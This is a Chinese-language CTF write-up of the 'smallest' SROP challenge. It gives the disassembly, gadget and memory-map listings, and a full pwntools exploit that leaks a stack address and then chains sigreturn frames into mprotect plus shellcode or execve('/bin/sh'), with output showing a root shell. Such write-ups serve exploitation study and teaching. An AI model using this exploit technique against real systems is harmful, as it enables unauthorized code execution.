这个就是一个SROP题目

全部运行代码如下

.text:00000000004000B0                 public start
.text:00000000004000B0 start           proc near
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 mov     edx, 400h
.text:00000000004000B8                 mov     rsi, rsp
.text:00000000004000BB                 mov     rdi, rax
.text:00000000004000BE                 syscall
.text:00000000004000C0                 retn
.text:00000000004000C0 start           endp
.text:00000000004000C0
.text:00000000004000C0 _text           ends
.text:00000000004000C0
.text:00000000004000C0
.text:00000000004000C0                 end start

其中RETN等价于一条指令:POP eip

程序中首先清空rax,然后设置edx为0x400,之后rsi为rsp,也就是当前栈顶,rdi设置为rax,也就是0,之后syscall。根据64位系统调用规则,这里的syscall就相当于read(stdin, rsp, 0x400)。 syscall之后,我们输入的内容会被输入栈顶,后面的retn也就会回到我们输入内容指定的地址了。

我们可以通过输入,控制rax(read(stdin, rsp, 0x400)返回输入的长度)

file

file smallest 
smallest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

通过ROPgadget --binary smallest查找到syscall gadget

Gadgets information
============================================================
0x00000000004000b7 : add byte ptr [rax - 0x77], cl ; out 0x48, al ; mov edi, eax ; syscall ; ret
0x00000000004000bc : mov edi, eax ; syscall ; ret
0x00000000004000b9 : mov esi, esp ; mov rdi, rax ; syscall ; ret
0x00000000004000bb : mov rdi, rax ; syscall ; ret
0x00000000004000b8 : mov rsi, rsp ; mov rdi, rax ; syscall ; ret
0x00000000004000ba : out 0x48, al ; mov edi, eax ; syscall ; ret
0x00000000004000c0 : ret
0x00000000004000be : syscall ; ret

查看读写权限

more /proc/19764/maps
00400000-00401000 r-xp 00000000 fd:00 110553261                          /root/sploitfun/360ichunqiu/smallest
7ffe77b4d000-7ffe77b6e000 rw-p 00000000 00:00 0                          [stack]
7ffe77b90000-7ffe77b92000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

使用ida打开发现程序只有这么一点

.text:00000000004000B0                 public start
.text:00000000004000B0 start           proc near
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 mov     edx, 400h
.text:00000000004000B8                 mov     rsi, rsp
.text:00000000004000BB                 mov     rdi, rax
.text:00000000004000BE                 syscall
.text:00000000004000C0                 retn

最终的exp

#!/usr/bin/python
# coding:utf-8

from pwn import *

context.update(os='linux', arch='amd64')

syscall_addr = 0x4000be
start_addr = 0x4000b0
set_rsi_rdi_addr = 0x4000b8
shellcode = asm(shellcraft.amd64.linux.sh())

io = process('./smallest')

payload = ""
payload += p64(start_addr)  # 返回到start重新执行一遍sys_read,利用返回值设置rax = 1,调用sys_write
payload += p64(set_rsi_rdi_addr)  # mov rsi, rsp; mov rdi, rax; syscall; retn,此时相当于执行sys_write(1, rsp, size)
payload += p64(start_addr)  # 泄露栈地址之后返回到start,执行下一步操作

io.send(payload)
sleep(3)
io.send(payload[8:8 + 1])  # 利用sys_read读取一个字符,设置rax = 1
stack_addr = u64(io.recv()[8:16]) + 0x100  # 从泄露的数据中抽取栈地址
log.info('stack addr = %#x' % (stack_addr))
sleep(3)


def mprotect():
    # sys_mprotect+ret2shellcode流程	#获取栈地址,在栈上取一块空间,使用SROP调用sys_read更改rsp的值并将后续的攻击代码读到可确定的这块栈内存中,随后调用sys_mprotect将该内存置为RWX,最后返回到start将返回地址和shellcode读取到该栈内存中起shell
    # -----------------change stack-------------------
    frame_read = SigreturnFrame()  # 设置read的SROP帧
    frame_read.rax = constants.SYS_read
    frame_read.rdi = 0
    frame_read.rsi = stack_addr
    frame_read.rdx = 0x300
    frame_read.rsp = stack_addr  # 这个stack_addr地址中的内容就是start地址,SROP执行完后ret跳转到start
    frame_read.rip = syscall_addr

    payload = ""
    payload += p64(start_addr)  # 返回到start重新执行一遍sys_read,利用返回值设置rax = 0xf,调用sys_sigreturn
    payload += p64(syscall_addr)  # ret到syscall,下接SROP帧,触发SROP
    payload += str(frame_read)
    io.send(payload)
    sleep(3)
    io.send(payload[8:8 + 15])  # 利用sys_read读取一个字符,设置rax = 0xf,注意不要让payload内容被修改
    sleep(3)

    # -----------------call mprotect------------------

    frame_mprotect = SigreturnFrame()  # 设置mprotect的SROP帧,用mprotect修改栈内存为RWX
    frame_mprotect.rax = constants.SYS_mprotect
    frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000
    frame_mprotect.rsi = 0x1000
    frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
    frame_mprotect.rsp = stack_addr
    frame_mprotect.rip = syscall_addr

    payload = ""
    payload += p64(start_addr)
    payload += p64(syscall_addr)
    payload += str(frame_mprotect)

    io.send(payload)
    sleep(3)
    io.send(payload[8:8 + 15])
    sleep(3)
    # ----------read shellcode and execve-------------
    payload = ""
    payload += p64(stack_addr + 0x10)  # ret到stack_addr+0x10,即shellcode所在地址
    payload += asm(shellcraft.amd64.linux.sh())
    io.send(payload)
    sleep(3)
    io.interactive()


def execve():
    # sys_read+sys_execve流程	#获取栈地址,在栈上取一块空间,使用SROP调用sys_read在指定地址读入"/bin/sh\x00",随后调用sys_execve起shell
    # -----------------change stack-------------------
    frame_read = SigreturnFrame()  # 设置read的SROP帧,不使用原先的read是因为可以使用SROP同时修改rsp,实现stack pivot
    frame_read.rax = constants.SYS_read
    frame_read.rdi = 0
    frame_read.rsi = stack_addr
    frame_read.rdx = 0x300
    frame_read.rsp = stack_addr
    frame_read.rip = syscall_addr

    payload = ""
    payload += p64(start_addr)
    payload += p64(syscall_addr)
    payload += str(frame_read)
    io.send(payload)
    sleep(3)
    io.send(payload[8:8 + 15])
    sleep(3)

    # -----------------call execve-------------------

    frame_execve = SigreturnFrame()  # 设置execve的SROP帧,注意计算/bin/sh\x00所在地址
    frame_execve.rax = constants.SYS_execve
    frame_execve.rdi = stack_addr + 0x108
    frame_execve.rip = syscall_addr

    payload = ""
    payload += p64(start_addr)
    payload += p64(syscall_addr)
    payload += str(frame_execve)
    payload += "/bin/sh\x00"
    io.send(payload)
    sleep(3)
    io.send(payload[8:8 + 15])
    sleep(3)
    io.interactive()

execve()
#mprotect()		#两种方法都可以

最终的结果

python exp.py 
[+] Starting local process './smallest': pid 21096
[*] stack addr = 0x7fffc5ab3764
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)